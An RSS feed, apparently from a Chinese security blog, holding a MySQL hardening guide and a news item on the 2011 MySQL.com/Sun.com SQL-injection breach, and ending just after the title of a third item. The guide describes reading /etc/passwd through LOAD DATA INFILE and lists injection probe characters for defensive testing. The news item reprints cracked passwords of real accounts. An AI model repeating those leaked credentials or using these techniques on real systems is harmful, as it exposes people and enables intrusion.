<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; MySQL</title>
	<atom:link href="http://www.4shell.org/archives/tag/mysql/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Tue, 31 Jan 2012 12:43:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Mysql安全</title>
		<link>http://www.4shell.org/archives/1935.html</link>
		<comments>http://www.4shell.org/archives/1935.html#comments</comments>
		<pubDate>Thu, 02 Jun 2011 02:15:36 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=1935</guid>
		<description><![CDATA[PS:比较全面的文章了 MySQL 是一个真正的多用户、多线程SQL数据库服务器，它是一个客户机/服务器结构的实现。MySQL是现在流行的关系数据库中其中的一种，相比其它的数据库管理系统（DBMS）来说，MySQL具有小巧、功能齐全、查询迅捷等优点。MySQL 主要目标是快速、健壮和易用。目前，在大中型企业中已经得到了较好的运用，但是由于它是多平台的数据库，不可避免的默认配置也是适合多种情况的需求，因此需要用户需要在自定义的环境下对MySQL的使用进行加固。 假如软件本身有严重安全问题，即使安全配置做的更好，也没有用。因此，要首先了解MySQL的版本。关于MySQL的版本，在MySQL官方文档中是这么描述的： MySQL 5.2是最新开发的发布系列，是将执行新功能的系列。不久的将来可以使用Alpha发行，以便感兴趣的用户进行广泛的测试。 MySQL 5.1是当前稳定(产品质量)发布系列。只针对漏洞修复重新发布；没有增加会影响稳定性的新功能。 MySQL 5.0是前一稳定(产品质量)发布系列。只针对严重漏洞修复和安全修复重新发布；没有增加会影响该系列的重要功能。 MySQL 4.0和3.23是旧的稳定(产品质量)发布系列。该版本不再使用，新的发布只用来修复特别严重的漏洞（以前的安全问题）。 Mysql开发组织不认为有完全的冻结版，因为任何版本均需要对漏洞进行修复和其它修复。对于"某种程度的冻结"，他们是指他们可以在产品发布中增加一些不会影响当前工作的小东西。当然，前一系列的相关漏洞修复会移植到后面的系列。 根据官方的建议，至目前为止，推荐使用目前的稳定版本MySQL 5.1。如果你正在运行一个老的系统并且想要升级，但是又不想冒险进行非无缝升级，应该升级到最新版本中你正使用的相同的发布系列（只有版本号的最后部分比你使用的新，例如5.0和5.1为同一系列）。 一、MySQL安装 MySQL可以在redhat环境下进行RPM安装和debian下apt安装，但是最新的包一般都是源码的形式，因此这里选择源码编译安装的方式。 首先登陆官方网站http://www.mysql.com，下载最新的released版本。 # tar zxf mysql-5.1.22-rc-linux-i686-glibc23.tar.gz 为mysql的运行建立mysql用户和mysql用户组 #groupadd mysql # useradd -g mysql mysql # ./configure --prefix=/usr/local/mysql #make #make install # cp support-files/my-medium.cnf /etc/my.cf # bin/mysql_install_db --user=mysql //用mysql生成初始数据库，出现类似thank for using mysql 证明初始化数据库成功。 # chown -R root . //当前目录给root [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;">PS:比较全面的文章了</span><br />
MySQL 是一个真正的多用户、多线程SQL数据库服务器，它是一个客户机/服务器结构的实现。MySQL是现在流行的关系数据库中其中的一种，相比其它的数据库管理系统（DBMS）来说，MySQL具有小巧、功能齐全、查询迅捷等优点。MySQL 主要目标是快速、健壮和易用。目前，在大中型企业中已经得到了较好的运用，但是由于它是多平台的数据库，不可避免的默认配置也是适合多种情况的需求，因此需要用户需要在自定义的环境下对MySQL的使用进行加固。</p>
<p>假如软件本身有严重安全问题，即使安全配置做的更好，也没有用。因此，要首先了解MySQL的版本。关于MySQL的版本，在MySQL官方文档中是这么描述的：<br />
<span id="more-1935"></span><br />
MySQL 5.2是最新开发的发布系列，是将执行新功能的系列。不久的将来可以使用Alpha发行，以便感兴趣的用户进行广泛的测试。<br />
MySQL 5.1是当前稳定(产品质量)发布系列。只针对漏洞修复重新发布；没有增加会影响稳定性的新功能。<br />
MySQL 5.0是前一稳定(产品质量)发布系列。只针对严重漏洞修复和安全修复重新发布；没有增加会影响该系列的重要功能。<br />
MySQL 4.0和3.23是旧的稳定(产品质量)发布系列。该版本不再使用，新的发布只用来修复特别严重的漏洞（以前的安全问题）。<br />
Mysql开发组织不认为有完全的冻结版，因为任何版本均需要对漏洞进行修复和其它修复。对于"某种程度的冻结"，他们是指他们可以在产品发布中增加一些不会影响当前工作的小东西。当然，前一系列的相关漏洞修复会移植到后面的系列。</p>
<p>根据官方的建议，至目前为止，推荐使用目前的稳定版本MySQL 5.1。如果你正在运行一个老的系统并且想要升级，但是又不想冒险进行非无缝升级，应该升级到最新版本中你正使用的相同的发布系列（只有版本号的最后部分比你使用的新，例如5.0和5.1为同一系列）。</p>
<p>一、MySQL安装</p>
<p>MySQL可以在redhat环境下进行RPM安装和debian下apt安装，但是最新的包一般都是源码的形式，因此这里选择源码编译安装的方式。<br />
首先登陆官方网站http://www.mysql.com，下载最新的released版本。<br />
# tar zxf mysql-5.1.22-rc-linux-i686-glibc23.tar.gz<br />
为mysql的运行建立mysql用户和mysql用户组<br />
#groupadd mysql<br />
# useradd -g mysql mysql<br />
# ./configure --prefix=/usr/local/mysql<br />
#make<br />
#make install<br />
# cp support-files/my-medium.cnf /etc/my.cf<br />
# bin/mysql_install_db --user=mysql //用mysql生成初始数据库，出现类似thank for using mysql 证明初始化数据库成功。<br />
# chown -R root .  //当前目录给root<br />
# chown -R mysql var //var给mysql，这个很重要，也是安全起见<br />
# chgrp -R mysql .<br />
# bin/mysqld_safe --user=mysql &amp;<br />
#bin/mysql -u root<br />
此时安全完毕，但是最重要是对MySQL进行安全配置，检查你的系统，最基本要做到以下配置。</p>
<p>二、MySQL安全配置</p>
<p>数据库作为数据管理的平台，它的安全性首先由系统的内部安全和网络安全两部分来决定。对于系统管理员来说，首先要保证系统本身的安全，在安装MySQL数据库时，需要对基础环境进行较好的配置。</p>
<p>1、修改root用户口令，删除空口令<br />
缺省安装的MySQL的root用户是空密码的，为了安全起见，必须修改为强密码，所谓的强密码，至少8位，由字母、数字和符号组成的不规律密码。使用MySQL自带的命令mysaladmin修改root密码，同时也可以登陆数据库，修改数据库mysql下的user表的字段内容，修改方法如下所示：</p>
<p># /usr/local/mysql/bin/mysqladmin -u root password "upassword" //使用mysqladmin<br />
#mysql&gt; use mysql;<br />
#mysql&gt; update user set password=password('upassword') where user='root';<br />
#mysql&gt; flush privileges; //强制刷新内存授权表，否则用的还是在内存缓冲的口令</p>
<p>2、删除默认数据库和数据库用户<br />
一般情况下，MySQL数据库安装在本地，并且也只需要本地的php脚本对mysql进行读取，所以很多用户不需要，尤其是默认安装的用户。MySQL初始化后会自动生成空用户和test库，进行安装的测试，这会对数据库的安全构成威胁，有必要全部删除，最后的状态只保留单个root即可，当然以后根据需要增加用户和数据库。</p>
<p>#mysql&gt; show databases;<br />
#mysql&gt; drop database test; //删除数据库test<br />
#use mysql;<br />
#delete from db; //删除存放数据库的表信息，因为还没有数据库信息。<br />
#mysql&gt; delete from user where not (user='root') ; // 删除初始非root的用户<br />
#mysql&gt; delete from user where user='root' and password=''; //删除空密码的root，尽量重复操作<br />
Query OK, 2 rows affected (0.00 sec)<br />
#mysql&gt; flush privileges; //强制刷新内存授权表。</p>
<p>3、改变默认mysql管理员帐号<br />
系统mysql的管理员名称是root，而一般情况下，数据库管理员都没进行修改，这一定程度上对系统用户穷举的恶意行为提供了便利，此时修改为复杂的用户名，请不要在设定为admin或者administraror的形式，因为它们也在易猜的用户字典中。</p>
<p>mysql&gt; update user set user="newroot" where user="root"; //改成不易被猜测的用户名<br />
mysql&gt; flush privileges;</p>
<p>4、关于密码的管理<br />
密码是数据库安全管理的一个很重要因素，不要将纯文本密码保存到数据库中。如果你的计算机有安全危险，入侵者可以获得所有的密码并使用它们。相反，应使用MD5()、SHA1()或单向哈希函数。也不要从词典中选择密码，有专门的程序可以破解它们，请选用至少八位，由字母、数字和符号组成的强密码。在存取密码时，使用mysql的内置函数password（）的sql语句，对密码进行加密后存储。例如以下方式在users表中加入新用户。</p>
<p>#mysql&gt; insert into users values (1,password(1234),'test');</p>
<p>5、使用独立用户运行msyql<br />
绝对不要作为使用root用户运行MySQL服务器。这样做非常危险，因为任何具有FILE权限的用户能够用root创建文件(例如，~root/.bashrc)。mysqld拒绝使用root运行，除非使用--user=root选项明显指定。应该用普通非特权用户运行mysqld。正如前面的安装过程一样，为数据库建立独立的linux中的mysql账户，该账户用来只用于管理和运行MySQL。</p>
<p>要想用其它Unix用户启动mysqld，，增加user选项指定/etc/my.cnf选项文件或服务器数据目录的my.cnf选项文件中的[mysqld]组的用户名。<br />
#vi /etc/my.cnf<br />
[mysqld]<br />
user=mysql<br />
该命令使服务器用指定的用户来启动，无论你手动启动或通过mysqld_safe或mysql.server启动，都能确保使用mysql的身份。也可以在启动数据库是，加上user参数。</p>
<p># /usr/local/mysql/bin/mysqld_safe --user=mysql &amp;<br />
作为其它linux用户而不用root运行mysqld，你不需要更改user表中的root用户名，因为MySQL账户的用户名与linux账户的用户名无关。确保mysqld运行时，只使用对数据库目录具有读或写权限的linux用户来运行。</p>
<p>6、禁止远程连接数据库<br />
在命令行netstat -ant下看到，默认的3306端口是打开的，此时打开了mysqld的网络监听，允许用户远程通过帐号密码连接数本地据库，默认情况是允许远程连接数据的。为了禁止该功能，启动skip-networking，不监听sql的任何TCP/IP的连接，切断远程访问的权利，保证安全性。假如需要远程管理数据库，可通过安装PhpMyadmin来实现。假如确实需要远程连接数据库，至少修改默认的监听端口，同时添加防火墙规则，只允许可信任的网络的mysql监听端口的数据通过。</p>
<p># vi /etc/my.cf<br />
将#skip-networking注释去掉。<br />
# /usr/local/mysql/bin/mysqladmin -u root -p shutdown //停止数据库<br />
#/usr/local/mysql/bin/mysqld_safe --user=mysql &amp; //后台用mysql用户启动mysql</p>
<p>7、限制连接用户的数量<br />
数据库的某用户多次远程连接，会导致性能的下降和影响其他用户的操作，有必要对其进行限制。可以通过限制单个账户允许的连接数量来实现，设置my.cnf文件的mysqld中的max_user_connections变量来完成。GRANT语句也可以支持 资源控制选项来限制服务器对一个账户允许的使用范围。</p>
<p>#vi /etc/my.cnf<br />
[mysqld]<br />
max_user_connections 2</p>
<p>8、用户目录权限限制<br />
默认的mysql是安装在/usr/local/mysql，而对应的数据库文件在/usr/local/mysql/var目录下，因此，必须保证该目录不能让未经授权的用户访问后把数据库打包拷贝走了，所以要限制对该目录的访问。确保mysqld运行时，只使用对数据库目录具有读或写权限的linux用户来运行。<br />
# chown -R root  /usr/local/mysql/  //mysql主目录给root<br />
# chown -R mysql.mysql /usr/local/mysql/var //确保数据库目录权限所属mysql用户</p>
<p>9、命令历史记录保护<br />
数据库相关的shell操作命令都会分别记录在.bash_history，如果这些文件不慎被读取，会导致数据库密码和数据库结构等信息泄露，而登陆数据库后的操作将记录在.mysql_history文件中，如果使用update表信息来修改数据库用户密码的话，也会被读取密码，因此需要删除这两个文件，同时在进行登陆或备份数据库等与密码相关操作时，应该使用-p参数加入提示输入密码后，隐式输入密码，建议将以上文件置空。</p>
<p># rm .bash_history .mysql_history  //删除历史记录<br />
# ln -s /dev/null .bash_history   //将shell记录文件置空<br />
# ln -s /dev/null .mysql_history  //将mysql记录文件置空</p>
<p>10、禁止MySQL对本地文件存取<br />
在mysql中，提供对本地文件的读取，使用的是load data local infile命令，默认在5.0版本中，该选项是默认打开的，该操作令会利用MySQL把本地文件读到数据库中，然后用户就可以非法获取敏感信息了，假如你不需要读取本地文件，请务必关闭。</p>
<p>测试：首先在测试数据库下建立sqlfile.txt文件，用逗号隔开各个字段<br />
# vi sqlfile.txt<br />
1,sszng,heimian.com<br />
2,sman,heimian.com<br />
#mysql&gt; load data local infile 'sqlfile.txt' into table users fields terminated by ','; //读入数据<br />
#mysql&gt; select * from users;<br />
+--------+------------+---------------------+<br />
| userid | username   | password   |<br />
+--------+------------+----------------------+<br />
|      1     | sszng          | heimian.com|<br />
|      2     | sman           | heimian.com|<br />
+--------+------------+----------------------+</p>
<p>成功的将本地数据插入数据中，此时应该禁止MySQL中用"LOAD DATA LOCAL INFILE"命令。网络上流传的一些攻击方法中就有用它LOAD DATA LOCAL INFILE的，同时它也是很多新发现的SQL Injection攻击利用的手段！黑客还能通过使用LOAD DATALOCAL INFILE装载"/etc/passwd"进一个数据库表，然后能用SELECT显示它，这个操作对服务器的安全来说，是致命的。可以在my.cnf中添加local-infile=0，或者加参数local-infile=0启动mysql。</p>
<p>#/usr/local/mysql/bin/mysqld_safe --user=mysql --local-infile=0 &amp;<br />
#mysql&gt; load data local infile 'sqlfile.txt' into table users fields terminated by ',';<br />
#ERROR 1148 (42000): The used command is not allowed with this MySQL version</p>
<p>--local-infile=0选项启动mysqld从服务器端禁用所有LOAD DATA LOCAL命令，假如需要获取本地文件，需要打开，但是建议关闭。</p>
<p>11、MySQL服务器权限控制<br />
MySQL权限系统的主要功能是证实连接到一台给定主机的用户，并且赋予该用户在数据库上的SELECT、INSERT、UPDATE和DELETE等权限（详见user超级用户表）。它的附加的功能包括有匿名的用户并对于MySQL特定的功能例如LOAD DATA INFILE进行授权及管理操作的能力。</p>
<p>管理员可以对user，db，host等表进行配置，来控制用户的访问权限，而user表权限是超级用户权限。只把user表的权限授予超级用户如服务器或数据库主管是明智的。对其他用户，你应该把在user表中的权限设成'N'并且仅在特定数据库的基础上授权。你可以为特定的数据库、表或列授权，FILE权限给予你用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句读和写服务器上的文件，任何被授予FILE权限的用户都能读或写MySQL服务器能读或写的任何文件。(说明用户可以读任何数据库目录下的文件，因为服务器可以访问这些文件）。 FILE权限允许用户在MySQL服务器具有写权限的目录下创建新文件，但不能覆盖已有文件在user表的File_priv设置Y或N。，所以当你不需要对服务器文件读取时，请关闭该权限。</p>
<p>#mysql&gt; load data infile 'sqlfile.txt' into table loadfile.users fields terminated by ',';<br />
Query OK, 4 rows affected (0.00 sec) //读取本地信息sqlfile.txt'<br />
Records: 4  Deleted: 0  Skipped: 0  Warnings: 0<br />
#mysql&gt; update user set File_priv='N' where user='root'; //禁止读取权限<br />
Query OK, 1 row affected (0.00 sec)<br />
Rows matched: 1  Changed: 1  Warnings: 0<br />
mysql&gt; flush privileges; //刷新授权表<br />
Query OK, 0 rows affected (0.00 sec)<br />
#mysql&gt; load data infile 'sqlfile.txt' into table users fields terminated by ','; //重登陆读取文件<br />
#ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) //失败<br />
# mysql&gt; select * from loadfile.users into outfile 'test.txt' fields terminated by ',';<br />
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)<br />
为了安全起见，随时使用SHOW GRANTS语句检查查看谁已经访问了什么。然后使用REVOKE语句删除不再需要的权限。</p>
<p>12、使用chroot方式来控制MySQL的运行目录<br />
Chroot是linux中的一种系统高级保护手段，它的建立会将其与主系统几乎完全隔离，也就是说，一旦遭到什么问题，也不会危及到正在运行的主系统。这是一个非常有效的办法，特别是在配置网络服务程序的时候。</p>
<p>13、关闭对Web访问的支持<br />
如果不打算让Web访问使用MySQL数据库，没有提供诸如PHP这样的Web语言的时候，重新设置或编译你的PHP，取消它们对MySQL的默认支持。假如服务器中使用php等web程序，试试用Web形式非法的请求，如果得到任何形式的MySQL错误，立即分析原因，及时修改Web程序，堵住漏洞，防止MySQL暴露在web面前。<br />
对于Web的安全检查，在MySQL官方文档中这么建议，对于web应用，至少检查以下清单：<br />
试试用Web形式输入单引号和双引号('''和'"')。如果得到任何形式的MySQL错误，立即分析原因。<br />
试试修改动态URL，可以在其中添加%22('"')、%23('#')和%27(''')。<br />
试试在动态URL中修改数据类型，使用前面示例中的字符，包括数字和字符类型。你的应用程序应足够安全，可以防范此类修改和类似攻击。<br />
试试输入字符、空格和特殊符号，不要输入数值字段的数字。你的应用程序应在将它们传递到MySQL之前将它们删除或生成错误。将未经过检查的值传递给MySQL是很危险的！<br />
将数据传给MySQL之前先检查其大小。<br />
用管理账户之外的用户名将应用程序连接到数据库。不要给应用程序任何不需要的访问权限。</p>
<p>14、数据库备份策略<br />
一般可采用本地备份和网络备份的形式，可采用MySQL本身自带的mysqldump的方式和直接复制备份形式，</p>
<p>直接拷贝数据文件最为直接、快速、方便，但缺点是基本上不能实现增量备份。为了保证数据的一致性，需要在备份文件前，执行以下 SQL 语句：FLUSH TABLES WITH READ LOCK；也就是把内存中的数据都刷新到磁盘中，同时锁定数据表，以保证拷贝过程中不会有新的数据写入。这种方法备份出来的数据恢复也很简单，直接拷贝回原来的数据库目录下即可。</p>
<p>使用mysqldump可以把整个数据库装载到一个单独的文本文件中。这个文件包含有所有重建您的数据库所需要的SQL命令。这个命令取得所有的模式（Schema，后面有解释）并且将其转换成DDL语法（CREATE语句，即数据库定义语句），取得所有的数据，并且从这些数据中创建INSERT语句。这个工具将您的数据库中所有的设计倒转。因为所有的东西都被包含到了一个文本文件中。这个文本文件可以用一个简单的批处理和一个合适SQL语句导回到MySQL中。</p>
<p>使用 mysqldump进行备份非常简单，如果要备份数据库" nagios_db_backup "，使用命令，同时使用管道gzip命令对备份文件进行压缩，建议使用异地备份的形式，可以采用Rsync等方式，将备份服务器的目录挂载到数据库服务器，将数据库文件备份打包在，通过crontab定时备份数据：</p>
<p>#!/bin/sh<br />
time=`date +"("%F")"%R`<br />
$/usr/local/mysql/bin/mysqldump -u nagios -pnagios nagios | gzip &gt;/home/sszheng/nfs58/nagiosbackup/nagios_backup.$time.gz<br />
# crontab -l<br />
# m h  dom mon dow   command<br />
00 00 * * * /home/sszheng/shnagios/backup.sh</p>
<p>恢复数据使用命令：<br />
gzip -d nagios_backup.\(2008-01-24\)00\:00.gz<br />
nagios_backup.(2008-01-24)00:00<br />
#mysql -u root -p nagios       &lt;  /home/sszheng/nfs58/nagiosbackup/nagios_backup.\(2008-01-24\)12\:00 三、Mysqld安全相关启动选项 下列mysqld选项影响安全：     --allow-suspicious-udfs 该选项控制是否可以载入主函数只有xxx符的用户定义函数。默认情况下，该选项被关闭，并且只能载入至少有辅助符的UDF。这样可以防止从未包含合法UDF的共享对象文件载入函数。     --local-infile[={0|1}] 如果用--local-infile=0启动服务器，则客户端不能使用LOCAL in LOAD DATA语句。     --old-passwords 强制服务器为新密码生成短(pre-4.1)密码哈希。当服务器必须支持旧版本客户端程序时，为了保证兼容性这很有用。      (OBSOLETE) --safe-show-database 在以前版本的MySQL中，该选项使SHOW DATABASES语句只显示用户具有部分权限的数据库名。在MySQL 5.1中，该选项不再作为现在的 默认行为使用，有一个SHOW DATABASES权限可以用来控制每个账户对数据库名的访问。     --safe-user-create 如果启用，用户不能用GRANT语句创建新用户，除非用户有mysql.user表的INSERT权限。如果你想让用户具有授权权限来创建新用户，你应给用户授予下面的权限： mysql&gt; GRANT INSERT(user) ON mysql.user TO 'user_name'@'host_name';<br />
这样确保用户不能直接更改权限列，必须使用GRANT语句给其它用户授予该权限。<br />
--secure-auth<br />
不允许鉴定有旧(pre-4.1)密码的账户。<br />
--skip-grant-tables<br />
这个选项导致服务器根本不使用权限系统。这给每个人以完全访问所有的数据库的权力！（通过执行mysqladmin flush-privileges或mysqladmin eload命令，或执行FLUSH PRIVILEGES语句，你能告诉一个正在运行的服务器再次开始使用授权表。）<br />
--skip-name-resolve<br />
主机名不被解析。所有在授权表的Host的列值必须是IP号或localhost。<br />
--skip-networking<br />
在网络上不允许TCP/IP连接。所有到mysqld的连接必须经由Unix套接字进行。<br />
-skip-show-database<br />
使用该选项，只允许有SHOW DATABASES权限的用户执行SHOW DATABASES语句，该语句显示所有数据库名。不使用该选项，允许所有用户执行SHOW DATABASES，但只显示用户有SHOW DATABASES权限或部分数据库权限的数据库名。请注意全局权限指数据库的权限。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1935.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL.com和Sun.com到底是如何被黑的？</title>
		<link>http://www.4shell.org/archives/1897.html</link>
		<comments>http://www.4shell.org/archives/1897.html#comments</comments>
		<pubDate>Thu, 28 Apr 2011 13:53:39 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[业界资讯]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Sun]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=1897</guid>
		<description><![CDATA[28日早上，甲骨文的许多人面红耳赤，原因是甲骨文旗下的两个网站：MySQL.com和Sun.com在上周末被经验极其老道的亦正亦邪的罗马尼亚黑客TinKode和搭档Ne0h攻破了。这两个网站是一种来源尚未明确的"盲目"的SQL注入攻击手法的受害者--你以为，MySQL的开发人员和管理员们完全知道如何防范这种类型的攻击。很显然，你想错了。 下面是具体的经过：星期天一大早，Jackh4xor安全组织向Full Disclosure(全面披露)邮件列表发去一封邮件，解释MySQL.com"很容易遭到盲目的SQL注入攻击漏洞的袭击。"该邮件将MySQL.com客户浏览页面列为是目标网站。有人从MySQL.com网站窃取了一批数量惊人的数据库、表和字段，还有一小部分的用户名和密码，它们有的采用加密形式，有的没有加密。 此后不久，声称来自罗马尼亚Slacker.Ro的TinKode和Ne0h的一份冗长的列表出现在了Pastebin网站上。TinKode(或者更准确地说，是打着TinKode名号的那个人)曾先后闯入了美国陆军网站、Eset、美国宇航局、英国国防部、路透社及其他知名机构的网站。TinKode还称Jackh4x0r是"我们的朋友";他声称，他和Ne0h在今年1月发现了这个安全漏洞。 TinKode的列表包括几个关键的用户名，如"sys"和"sysadmin"，还包括它们被破解的相应密码--最可能是使用彩虹表(rainbow table)，从加密的密码中提取出来的。Sys(系统)的密码是"phorum5";sysadmin(系统管理员)的密码是"qa."。显然，一些网站管理员不想为使用复杂的密码而操心。 MySQL.com网站包括几个WordPress博客(WordPress在MySQL上运行)，TinKode和Ne0h都极其友善，把其中许多博客的ID和密码告诉给了全世界。前任MySQL项目管理主管(他在2009年以后就没有更新过其博客)的用户名为"admin"，密码是"6661"。前任社区关系副总裁(他在2010年1月以后就没有写过博文)同样采用了"admin"的用户名，相应的密码是"grankulla"。我觉得，公司头头们都不愿使用复杂的密码。 值得一提的是，MySQL并不是因密码被窃取或被猜出而中黑手的。TinKode和Ne0h采用盲目的SQL注入攻击手法，就攻破了该网站，他们针对的目标是接口，而不是数据库。TinKode还声称控制了MySQL.fr、MySQL.it、jp.MySQL.com和MySQL.de这四个网站。 TinKode对于黑掉Sun.com过程的描述似乎平淡无奇，只借助一份窃取来的表和字段，还有少数几个电子邮件地址，但根本没用到密码。至于他们是没有找到密码、根本就是不要密码，还是说将密码藏着掖着准备搞更邪恶的事，并不清楚。Sun.com是不是因MySQL.com遭到的同一种注入攻击手法而被攻破也不清楚。 谁监管监管者?这年头，还真不好说。 相关文章2011年06月2日 -- Mysql安全2010年06月3日 -- Mysql另类盲注中的一些技巧2010年04月30日 -- MySQL监控快速指南2009年11月23日 -- MySQL安装详细图解2009年11月5日 -- MySQL导入数据库文件最大限制2048KB的修改解决办法2009年09月2日 -- MySQL数据库安全配置指南2009年08月24日 -- 关于MySQL权限2009年08月24日 -- MySQL优化 之 Discuz论坛优化2009年08月3日 -- 高级Mysql攻击技术(翻译blackhat 2009文章)2008年10月18日 -- load_file()查看常用的一些配置文件]]></description>
			<content:encoded><![CDATA[<p>28日早上，甲骨文的许多人面红耳赤，原因是甲骨文旗下的两个网站：MySQL.com和Sun.com在上周末被经验极其老道的亦正亦邪的罗马尼亚黑客TinKode和搭档Ne0h攻破了。这两个网站是一种来源尚未明确的"盲目"的SQL注入攻击手法的受害者--你以为，MySQL的开发人员和管理员们完全知道如何防范这种类型的攻击。很显然，你想错了。<a name="entrymore"></a></p>
<p>下面是具体的经过：星期天一大早，Jackh4xor安全组织向Full Disclosure(全面披露)邮件列表发去一封邮件，解释MySQL.com"很容易遭到盲目的SQL注入攻击漏洞的袭击。"该邮件将MySQL.com客户浏览页面列为是目标网站。有人从MySQL.com网站窃取了一批数量惊人的数据库、表和字段，还有一小部分的用户名和密码，它们有的采用加密形式，有的没有加密。<br />
<span id="more-1897"></span><br />
此后不久，声称来自罗马尼亚Slacker.Ro的TinKode和Ne0h的一份冗长的列表出现在了Pastebin网站上。TinKode(或者更准确地说，是打着TinKode名号的那个人)曾先后闯入了美国陆军网站、Eset、美国宇航局、英国国防部、路透社及其他知名机构的网站。TinKode还称Jackh4x0r是"我们的朋友";他声称，他和Ne0h在今年1月发现了这个安全漏洞。</p>
<p>TinKode的列表包括几个关键的用户名，如"sys"和"sysadmin"，还包括它们被破解的相应密码--最可能是使用彩虹表(rainbow table)，从加密的密码中提取出来的。Sys(系统)的密码是"phorum5";sysadmin(系统管理员)的密码是"qa."。显然，一些网站管理员不想为使用复杂的密码而操心。</p>
<p>MySQL.com网站包括几个WordPress博客(WordPress在MySQL上运行)，TinKode和Ne0h都极其友善，把其中许多博客的ID和密码告诉给了全世界。前任MySQL项目管理主管(他在2009年以后就没有更新过其博客)的用户名为"admin"，密码是"6661"。前任社区关系副总裁(他在2010年1月以后就没有写过博文)同样采用了"admin"的用户名，相应的密码是"grankulla"。我觉得，公司头头们都不愿使用复杂的密码。</p>
<p>值得一提的是，MySQL并不是因密码被窃取或被猜出而中黑手的。TinKode和Ne0h采用盲目的SQL注入攻击手法，就攻破了该网站，他们针对的目标是接口，而不是数据库。TinKode还声称控制了MySQL.fr、MySQL.it、jp.MySQL.com和MySQL.de这四个网站。</p>
<p>TinKode对于黑掉Sun.com过程的描述似乎平淡无奇，只借助一份窃取来的表和字段，还有少数几个电子邮件地址，但根本没用到密码。至于他们是没有找到密码、根本就是不要密码，还是说将密码藏着掖着准备搞更邪恶的事，并不清楚。Sun.com是不是因MySQL.com遭到的同一种注入攻击手法而被攻破也不清楚。</p>
<p>谁监管监管者?这年头，还真不好说。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1897.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysql另类盲注中的一些技巧</title>
		<link>http://www.4shell.org/archives/1766.html</link>
		<comments>http://www.4shell.org/archives/1766.html#comments</comments>
